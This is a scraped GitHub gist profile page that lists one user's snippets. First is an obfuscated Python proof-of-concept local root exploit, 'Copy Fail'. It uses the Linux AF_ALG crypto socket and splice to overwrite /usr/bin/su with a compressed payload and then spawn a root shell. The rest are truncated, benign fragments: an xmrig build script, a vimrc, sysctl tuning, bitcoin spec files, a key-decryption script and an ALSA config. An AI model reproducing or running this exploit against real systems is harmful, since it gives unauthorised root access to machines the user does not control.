Skip to content

Instantly share code, notes, and snippets.

View coffnix's full-sized avatar

Raphael Bastos aka coffnix coffnix

View GitHub Profile
@coffnix
coffnix / poc.txt
Created April 29, 2026 20:40
poc Copy Fail: 732 Bytes to Root on Every Major Linux Distributions - https://xint.io/blog/copy-fail-linux-distributions
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
#!/usr/bin/env bash
set -e
# prepara deps
brew list cmake >/dev/null 2>&1 || brew install cmake
brew list hwloc >/dev/null 2>&1 || brew install hwloc
brew list openssl@3 >/dev/null 2>&1 || brew install openssl@3
brew list libuv >/dev/null 2>&1 || brew install libuv
rm -rf xmrig
scriptencoding utf-8
" ^^ Please leave the above line at the start of the file.
" Written by Aron Griffis <agriffis@gentoo.org>
" Modified by Ryan Phillips <rphillips@gentoo.org>
" Modified some more by Ciaran McCreesh <ciaranm@gentoo.org>
" Added Redhat's vimrc info by Seemant Kulleen <seemant@gentoo.org>
" You can override any of these settings on a global basis via the
" "/etc/vim/vimrc.local" file, and on a per-user basis via "~/.vimrc". You may
#!/usr/bin/env bash
set -e
# prepara deps
brew list cmake >/dev/null 2>&1 || brew install cmake
brew list hwloc >/dev/null 2>&1 || brew install hwloc
brew list openssl@3 >/dev/null 2>&1 || brew install openssl@3
brew list libuv >/dev/null 2>&1 || brew install libuv
rm -rf xmrig
#!/usr/bin/env bash
set -e
# prepara deps
brew list cmake >/dev/null 2>&1 || brew install cmake
brew list hwloc >/dev/null 2>&1 || brew install hwloc
brew list openssl@3 >/dev/null 2>&1 || brew install openssl@3
brew list libuv >/dev/null 2>&1 || brew install libuv
rm -rf xmrig
@coffnix
coffnix / 50-vipnix.conf
Created October 13, 2025 13:24
file /etc/sysctl.d/50-vipnix.conf
####
## VIPNIX TUNING - System and Network Optimization for High Performance
##
## This file adjusts Linux kernel parameters to maximize performance on 10 Gbps networks,
## reduce packet retransmissions, and improve efficiency on high-load servers.
## Focused on local networks with low latency (1–5 ms), such as connections between Linux servers and macOS clients.
## Values are optimized to minimize packet loss, prioritize low latency, and maximize throughput.
# Increases the maximum number of events that inotify can monitor simultaneously.
# Useful for applications that monitor many files (e.g., file servers, backup tools).
#
# spec file for package bitcoin
#
# Copyright (c) 2024 SUSE LLC
# Copyright (c) 2011-2014 P Rusnak <prusnak@opensuse.org>
#
# All modifications and additions to the file contributed by third parties
# remain the property of their copyright owners, unless otherwise agreed
# upon. The license for this file, and modifications and additions to the
# file, is the same license as for the pristine package itself (unless the
@coffnix
coffnix / bitcoin-knots.spec
Created September 20, 2025 10:56
spec opensuse Leap (rpmbuild)
#
# spec file for package bitcoin
#
# Copyright (c) 2024 SUSE LLC
# Copyright (c) 2011-2014 P Rusnak <prusnak@opensuse.org>
#
# All modifications and additions to the file contributed by third parties
# remain the property of their copyright owners, unless otherwise agreed
# upon. The license for this file, and modifications and additions to the
# file, is the same license as for the pristine package itself (unless the
import base64
import hashlib
import ecdsa
import base58
from Crypto.Cipher import AES
from Crypto.Hash import MD5
# base64 criptografado
encrypted_b64 = (
"U2FsdGVkX18xMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz"
@coffnix
coffnix / asound.conf
Last active June 4, 2025 07:36
Configuração otimizada do shairport-sync para reprodução via AirPlay 2 com backend ALSA, utilizando interpolação soxr, saída em S32_LE, buffers ampliados para estabilidade, e controle de volume desabilitado para garantir fidelidade bit-perfect. Ideal para sistemas de áudio de alta resolução com DACs dedicados. 4.3.7-3-g97fefb43-AirPlay2-smi10-Op…
pcm.shairport {
type plug
slave.pcm "dmix_shairport"
}
pcm.dmix_shairport {
type dmix
ipc_key 2048
slave {
pcm "hw:0,0"